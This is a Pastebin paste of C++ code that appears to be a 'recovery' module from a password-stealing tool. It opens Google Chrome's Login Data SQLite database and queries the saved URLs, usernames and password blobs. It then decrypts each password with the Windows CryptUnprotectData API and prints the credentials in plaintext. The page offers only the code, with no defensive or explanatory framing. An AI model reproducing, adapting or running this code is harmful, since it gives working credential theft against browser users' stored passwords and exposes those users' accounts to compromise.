Advertisement
Guest User

Ermittlorecovery Chrome 34

a guest
Nov 22nd, 2014
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.26 KB | None | 0 0
  1. #pragma region Google Chrome
  2.  
  3.  
  4. //NEU:
  5. typedef const void * (_cdecl *sqlite3_column_blob)(sqlite3_stmt*, int iCol);
  6. typedef int (_cdecl *sqlite3_column_bytes)(sqlite3_stmt*, int iCol);
  7.  
  8.  
  9.  
  10.  
  11. bool Recovery::Chrome()
  12. {
  13. sqlite3_open sqlite_open;
  14. sqlite3_close sqlite_close;
  15. sqlite3_prepare_v2 sqlite_prepare_v2;
  16. sqlite3_step sqlite_step;
  17. sqlite3_column_text sqlite_column_text;
  18.  
  19. sqlite3_column_blob sqlite_column_blob;
  20. sqlite3_column_bytes sqlite_column_bytes;
  21.  
  22. string sqlite3dll = GetSQLiteDLLPath();
  23.  
  24. HMODULE sqlitedll = LoadLibrary(sqlite3dll.c_str());
  25.  
  26. string chromedatabase = getenv("appdata");
  27. chromedatabase = chromedatabase.substr(0, chromedatabase.size() - 8);
  28. chromedatabase += "\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
  29.  
  30. if (GetFileAttributes(chromedatabase.c_str()) != INVALID_FILE_ATTRIBUTES)
  31. {
  32. if (sqlitedll)
  33. {
  34. sqlite_open = (sqlite3_open)GetProcAddress(sqlitedll, "sqlite3_open");
  35. sqlite_close = (sqlite3_close)GetProcAddress(sqlitedll, "sqlite3_close");
  36. sqlite_prepare_v2 = (sqlite3_prepare_v2)GetProcAddress(sqlitedll, "sqlite3_prepare_v2");
  37. sqlite_step = (sqlite3_step)GetProcAddress(sqlitedll, "sqlite3_step");
  38. sqlite_column_text = (sqlite3_column_text)GetProcAddress (sqlitedll, "sqlite3_column_text");
  39.  
  40. sqlite_column_blob = (sqlite3_column_blob)GetProcAddress (sqlitedll, "sqlite3_column_blob");
  41. sqlite_column_bytes = (sqlite3_column_bytes)GetProcAddress (sqlitedll, "sqlite3_column_bytes");
  42.  
  43.  
  44. if ((sqlite_open) && (sqlite_close) && (sqlite_prepare_v2) && (sqlite_step) && (sqlite_column_text) && (sqlite_column_blob) && (sqlite_column_bytes))
  45. {
  46. sqlite3 * db;
  47.  
  48. if (sqlite_open(chromedatabase.c_str(), &db) == SQLITE_OK)
  49. {
  50. sqlite3_stmt *statement;
  51. if (sqlite_prepare_v2(db, "SELECT action_url, username_value, password_value from logins", -1, &statement, 0) == SQLITE_OK)
  52. {
  53. while(true)
  54. {
  55. if (sqlite_step(statement) == SQLITE_ROW)
  56. {
  57. DATA_BLOB input, output;
  58.  
  59. char * url = (char*) sqlite_column_text(statement, 0);
  60. char * username = (char*) sqlite_column_text(statement, 1);
  61. char * password = "";
  62.  
  63. input.pbData = (LPBYTE) sqlite_column_blob(statement, 2);
  64. input.cbData = sqlite_column_bytes(statement, 2);
  65.  
  66.  
  67. if (CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 1, &output))
  68. {
  69. password = (char*) output.pbData;
  70. password[output.cbData] = 0;
  71.  
  72. cout << "URL: " << url << endl;
  73. cout << "User: " << username << endl;
  74. cout << "Pass: " << password << endl;
  75.  
  76. LocalFree(output.pbData);
  77. }
  78. else
  79. {
  80. cout << "Failed" << endl;
  81. return false;
  82. }
  83.  
  84. }
  85. else
  86. {
  87. break;
  88. }
  89. }
  90. }
  91. else
  92. {
  93. cout << "Preparing sqlite-database failed!" << endl;
  94. return false;
  95. }
  96. }
  97. else
  98. {
  99. cout << "Loading sqlite-database failed!" << endl;
  100. return false;
  101. }
  102. }
  103. else
  104. {
  105. cout << "Functions not found!" << endl;
  106. return false;
  107. }
  108. }
  109. else
  110. {
  111. cout << "DLL not found!" << endl;
  112. return false;
  113. }
  114.  
  115. }
  116.  
  117. FreeLibrary(sqlitedll);
  118. }
  119. #pragma endregion Google Chrome
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement